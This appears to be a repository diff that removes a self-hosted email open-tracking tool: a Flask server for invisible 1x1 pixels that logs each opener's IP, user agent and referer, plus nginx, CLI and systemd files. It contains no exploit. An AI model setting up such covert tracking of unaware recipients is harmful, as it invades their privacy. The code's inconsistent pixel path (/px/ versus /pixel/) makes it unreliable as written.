A minimal Flask application that serves transparent tracking pixels
|
||||
and logs email opens with metadata.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import logging
|
||||
from datetime import datetime
|
||||
from flask import Flask, request, send_file, render_template_string
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format='%(asctime)s - %(levelname)s - %(message)s',
|
||||
handlers=[
|
||||
logging.FileHandler('/root/Tools/tracker/data/tracker.log'),
|
||||
logging.StreamHandler()
|
||||
]
|
||||
)
|
||||
|
||||
# Create Flask app
|
||||
app = Flask(__name__)
|
||||
|
||||
# Directory to store tracking data
|
||||
DATA_DIR = '/root/Tools/tracker/data'
|
||||
os.makedirs(DATA_DIR, exist_ok=True)
|
||||
|
||||
# Path to 1x1 transparent pixel
|
||||
PIXEL_PATH = os.path.join(DATA_DIR, 'pixel.png')
|
||||
|
||||
# Create 1x1 transparent PNG if it doesn't exist
|
||||
if not os.path.exists(PIXEL_PATH):
|
||||
from PIL import Image
|
||||
img = Image.new('RGBA', (1, 1), color=(0, 0, 0, 0))
|
||||
img.save(PIXEL_PATH)
|
||||
|
||||
# Path to tracking data
|
||||
TRACKING_DATA_PATH = os.path.join(DATA_DIR, 'tracking_data.json')
|
||||
|
||||
def load_tracking_data():
|
||||
"""Load existing tracking data from JSON file"""
|
||||
if os.path.exists(TRACKING_DATA_PATH):
|
||||
try:
|
||||
with open(TRACKING_DATA_PATH, 'r') as f:
|
||||
return json.load(f)
|
||||
except json.JSONDecodeError:
|
||||
logging.error("Error loading tracking data, starting fresh")
|
||||
return {}
|
||||
|
||||
def save_tracking_data(data):
|
||||
"""Save tracking data to JSON file"""
|
||||
with open(TRACKING_DATA_PATH, 'w') as f:
|
||||
json.dump(data, f, indent=2)
|
||||
|
||||
@app.route('/pixel/<tracking_id>.png')
|
||||
def tracking_pixel(tracking_id):
|
||||
"""Serve a tracking pixel and log the request"""
|
||||
# Get client information
|
||||
user_agent = request.headers.get('User-Agent', 'Unknown')
|
||||
ip_address = request.remote_addr
|
||||
timestamp = datetime.now().isoformat()
|
||||
referer = request.headers.get('Referer', 'Unknown')
|
||||
|
||||
# Log the tracking event
|
||||
logging.info(f"Pixel loaded - ID: {tracking_id}, IP: {ip_address}")
|
||||
|
||||
# Add tracking event to data
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
if tracking_id not in tracking_data:
|
||||
tracking_data[tracking_id] = []
|
||||
|
||||
tracking_data[tracking_id].append({
|
||||
'timestamp': timestamp,
|
||||
'ip_address': ip_address,
|
||||
'user_agent': user_agent,
|
||||
'referer': referer
|
||||
})
|
||||
|
||||
save_tracking_data(tracking_data)
|
||||
|
||||
# Return the 1x1 transparent pixel
|
||||
return send_file(PIXEL_PATH, mimetype='image/png')
|
||||
|
||||
@app.route('/')
|
||||
def dashboard():
|
||||
"""Display tracking statistics dashboard"""
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
# Prepare data for the dashboard
|
||||
stats = []
|
||||
for tracking_id, events in tracking_data.items():
|
||||
stats.append({
|
||||
'id': tracking_id,
|
||||
'views': len(events),
|
||||
'last_view': events[-1]['timestamp'] if events else 'Never',
|
||||
'unique_ips': len(set(e['ip_address'] for e in events))
|
||||
})
|
||||
|
||||
# Sort by most views
|
||||
stats.sort(key=lambda x: x['views'], reverse=True)
|
||||
|
||||
# Simple HTML dashboard template
|
||||
template = """
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Email Tracking Dashboard</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
|
||||
h1 { color: #333; }
|
||||
table { border-collapse: collapse; width: 100%; }
|
||||
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
|
||||
tr:hover { background-color: #f5f5f5; }
|
||||
th { background-color: #4CAF50; color: white; }
|
||||
.container { max-width: 800px; margin: 0 auto; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>Email Tracking Dashboard</h1>
|
||||
<p>To track email opens, add this HTML to your emails:</p>
|
||||
<pre><img src="https://YOUR_DOMAIN/px/YOUR_TRACKING_ID.png" height="1" width="1" /></pre>
|
||||
|
||||
<h2>Tracking Statistics</h2>
|
||||
<table>
|
||||
<tr>
|
||||
<th>Tracking ID</th>
|
||||
<th>Views</th>
|
||||
<th>Unique IPs</th>
|
||||
<th>Last View</th>
|
||||
<th>Details</th>
|
||||
</tr>
|
||||
{% for stat in stats %}
|
||||
<tr>
|
||||
<td>{{ stat.id }}</td>
|
||||
<td>{{ stat.views }}</td>
|
||||
<td>{{ stat.unique_ips }}</td>
|
||||
<td>{{ stat.last_view }}</td>
|
||||
<td><a href="/details/{{ stat.id }}">View Details</a></td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
return render_template_string(template, stats=stats)
|
||||
|
||||
@app.route('/details/<tracking_id>')
|
||||
def tracking_details(tracking_id):
|
||||
"""Display detailed tracking information for a specific ID"""
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
if tracking_id not in tracking_data:
|
||||
return f"No data found for tracking ID: {tracking_id}", 404
|
||||
|
||||
events = tracking_data[tracking_id]
|
||||
|
||||
# Simple HTML template for details
|
||||
template = """
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Tracking Details: {{ tracking_id }}</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
|
||||
h1, h2 { color: #333; }
|
||||
table { border-collapse: collapse; width: 100%; }
|
||||
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
|
||||
tr:hover { background-color: #f5f5f5; }
|
||||
th { background-color: #4CAF50; color: white; }
|
||||
.container { max-width: 800px; margin: 0 auto; }
|
||||
.back { margin-bottom: 20px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="back"><a href="/">« Back to Dashboard</a></div>
|
||||
<h1>Tracking Details: {{ tracking_id }}</h1>
|
||||
<p>Total views: {{ events|length }}</p>
|
||||
|
||||
<h2>Events</h2>
|
||||
<table>
|
||||
<tr>
|
||||
<th>Time</th>
|
||||
<th>IP Address</th>
|
||||
<th>User Agent</th>
|
||||
<th>Referer</th>
|
||||
</tr>
|
||||
{% for event in events %}
|
||||
<tr>
|
||||
<td>{{ event.timestamp }}</td>
|
||||
<td>{{ event.ip_address }}</td>
|
||||
<td>{{ event.user_agent }}</td>
|
||||
<td>{{ event.referer }}</td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
return render_template_string(template, tracking_id=tracking_id, events=events)
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(host='127.0.0.1', port=5000, debug=False)
|
||||
@@ -1,47 +0,0 @@
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name {{ tracker_domain }};
|
||||
|
||||
# Redirect to HTTPS if SSL is enabled
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl;
|
||||
listen [::]:443 ssl;
|
||||
server_name {{ tracker_domain }};
|
||||
|
||||
# SSL Configuration
|
||||
ssl_certificate /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem;
|
||||
ssl_certificate_key /etc/letsencrypt/live/{{ tracker_domain }}/privkey.pem;
|
||||
|
||||
# Restrict dashboard to localhost only
|
||||
location / {
|
||||
allow 127.0.0.1;
|
||||
deny all;
|
||||
proxy_pass http://127.0.0.1:5000;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
}
|
||||
|
||||
# Allow public access only to pixel endpoints
|
||||
location ~ ^/pixel/(.+)\.png$ {
|
||||
# Public access allowed
|
||||
proxy_pass http://127.0.0.1:5000/pixel/$1.png;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
|
||||
# Cache control - don't cache tracking pixels
|
||||
add_header Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0";
|
||||
expires off;
|
||||
}
|
||||
|
||||
# Security headers
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "no-referrer" always;
|
||||
}
|
||||
@@ -1,45 +0,0 @@
|
||||
#!/bin/bash
|
||||
# CLI tool to view email tracking stats
|
||||
|
||||
DATA_FILE="/root/Tools/tracker/data/tracking_data.json"
|
||||
|
||||
function show_summary() {
|
||||
if [ ! -f "$DATA_FILE" ]; then
|
||||
echo "No tracking data found."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Email Tracking Summary:"
|
||||
echo "======================="
|
||||
jq -r 'to_entries | sort_by(.value | length) | reverse | .[] | "\(.key): \(.value | length) views"' $DATA_FILE
|
||||
}
|
||||
|
||||
function show_details() {
|
||||
ID=$1
|
||||
if [ ! -f "$DATA_FILE" ]; then
|
||||
echo "No tracking data found."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Details for tracking ID: $ID"
|
||||
echo "=========================="
|
||||
jq -r --arg id "$ID" '.[$id] | if . then .[] | "\(.timestamp) | \(.ip_address) | \(.user_agent)" else "No data found for this ID" end' $DATA_FILE
|
||||
}
|
||||
|
||||
case "$1" in
|
||||
"list")
|
||||
show_summary
|
||||
;;
|
||||
"details")
|
||||
if [ -z "$2" ]; then
|
||||
echo "Usage: $0 details TRACKING_ID"
|
||||
exit 1
|
||||
fi
|
||||
show_details "$2"
|
||||
;;
|
||||
*)
|
||||
echo "Usage: $0 [list|details TRACKING_ID]"
|
||||
echo " list - Show summary of all tracking IDs"
|
||||
echo " details ID - Show details for specific tracking ID"
|
||||
;;
|
||||
esac
|
||||
@@ -1,19 +0,0 @@
|
||||
[Unit]
|
||||
Description=Email Tracking Server
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
User=tracker
|
||||
Group=tracker
|
||||
WorkingDirectory=/root/Tools/tracker
|
||||
ExecStart=/root/Tools/tracker/venv/bin/python /root/Tools/tracker/simple_email_tracker.py
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
# Security settings
|
||||
PrivateTmp=true
|
||||
ProtectSystem=full
|
||||
NoNewPrivileges=true
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
Reference in New Issue
Block a user